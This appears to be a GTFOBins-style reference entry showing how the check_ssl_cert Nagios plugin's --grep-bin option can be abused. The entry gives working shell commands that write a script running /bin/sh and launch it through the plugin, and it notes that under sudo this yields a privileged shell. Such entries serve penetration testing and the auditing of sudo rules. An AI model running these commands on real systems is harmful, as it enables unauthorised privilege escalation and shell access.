check_ssl_cert

CommentThis is the check_ssl_cert Nagios plugin, available e.g. in /usr/lib/nagios/plugins/.

Shell

This executable can spawn an interactive system shell.
  1. CommentThe shell will be invoked multiple times.
    This function can be performed by any unprivileged user.
    echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
    chmod +x /path/to/temp-file
    check_ssl_cert --grep-bin /path/to/temp-file -H x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
    chmod +x /path/to/temp-file
    check_ssl_cert --grep-bin /path/to/temp-file -H x